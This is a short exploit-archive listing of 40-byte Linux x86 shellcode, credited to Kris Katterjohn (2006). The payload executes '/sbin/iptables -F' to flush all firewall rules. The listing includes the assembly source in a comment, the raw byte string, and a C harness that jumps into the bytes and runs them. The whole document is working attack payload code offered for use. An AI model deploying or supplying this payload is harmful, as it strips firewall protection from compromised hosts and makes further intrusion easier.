linux/x86 /sbin/iptables -F 40 bytes
[code]/* By Kris Katterjohn 11/18/2006*
* 40 byte shellcode to flush iptables for Linux x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/sbin/iptables", { "/sbin/iptables", "-F", NULL }, NULL)
*
* push byte 11
* pop eax
* cdq
* push edx
* push word 0x462d
* mov ecx, esp
* push edx
* push word 0x7365
* push 0x6c626174
* push 0x70692f6e
* push 0x6962732f
* mov ebx, esp
* push edx
* push ecx
* push ebx
* mov ecx, esp
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89"
"\xe1\x52\x66\x68\x65\x73\x68\x74\x61\x62"
"\x6c\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62"
"\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
(*(void (*)()) shellcode)();
}
[/code]
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